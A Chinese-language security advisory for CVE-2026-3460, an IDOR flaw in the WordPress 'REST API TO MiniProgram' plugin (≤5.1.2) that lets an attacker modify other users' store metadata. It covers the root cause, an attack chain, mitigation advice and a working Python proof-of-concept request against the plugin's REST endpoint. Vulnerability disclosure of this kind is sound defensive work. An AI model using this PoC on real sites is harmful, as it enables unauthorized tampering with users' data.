CVE-2026-3460 CVSS 5.3 中危

CVE-2026-3460 WordPress插件IDOR漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-3460

漏洞类型

不安全的直接对象引用 (IDOR)

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WordPress REST API TO MiniProgram插件

漏洞概述

WordPress插件REST API TO MiniProgram在5.1.2及以下版本中存在不安全的直接对象引用（IDOR）漏洞。漏洞原因在于权限回调函数仅验证'openid'参数的有效性，而更新函数却使用单独的'userid'参数来修改数据。由于缺乏对这两个参数归属同一用户的验证，攻击者可以利用此漏洞，无需认证或仅凭低权限，通过REST API修改任意用户的商店元数据，如storeinfo、storeappid和storename，从而影响系统完整性。

技术细节

该漏洞的核心在于WordPress插件“REST API TO MiniProgram”中REST API端点的权限验证逻辑存在缺陷。在处理用户微信商店信息更新请求时，插件首先调用`update_user_wechatshop_info_permissions_check`函数，该函数仅检查请求中提供的'openid'是否存在于WordPress用户表中，以此作为权限通过的依据。然而，随后执行实际更新操作的`update_user_wechatshop_info`函数，却忽略了用于权限验证的'openid'，转而直接使用请求体中的'userid'参数来确定要更新元数据的目标用户。由于程序代码中没有任何逻辑来验证'openid'和'userid'是否属于同一个账户，攻击者可以构造一个包含合法'openid'（或利用无需认证的缺陷）和任意目标'userid'的恶意请求。这使得攻击者能够绕过身份识别机制，篡改任意用户的敏感商店信息（如店铺ID、店铺名称等），破坏数据的完整性和可信度。

攻击链分析

STEP 1

侦察

识别目标站点是否安装了存在漏洞的WordPress REST API TO MiniProgram插件（版本<=5.1.2）。

STEP 2

构造请求

攻击者构造HTTP POST请求，在参数中包含一个可以绕过权限检查的'openid'，并在'userid'参数中指定想要攻击的目标用户ID。

STEP 3

发送Payload

向REST API端点发送包含恶意元数据（如storename）的请求。

STEP 4

执行攻击

服务器端仅验证openid存在性，随后根据userid更新了目标用户的元数据，导致数据被篡改。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Needs to be replaced with actual endpoint)
target_url = "http://target-site/wp-json/ram-weixin/v1/update_user_wechatshop_info"

# Attacker controlled parameters
# 'openid': A valid openid (or any value if PR:N is strictly true)
# 'userid': The ID of the victim user to modify
payload = {
    "openid": "valid_or_dummy_openid",
    "userid": "2",  # Target User ID to modify
    "storeinfo": "Malicious Store Info",
    "storeappid": "hacked_appid",
    "storename": "Hacked Store Name"
}

# Send the request
try:
    response = requests.post(target_url, json=payload)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
except Exception as e:
    print(f"Error: {e}")

影响范围

REST API TO MiniProgram <= 5.1.2

防御指南

临时缓解措施

建议管理员立即检查并更新该插件至修复版本。在未修复前，可通过Web应用防火墙（WAF）拦截针对该特定API端点的异常请求，或者临时禁用插件功能以防止数据被篡改。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表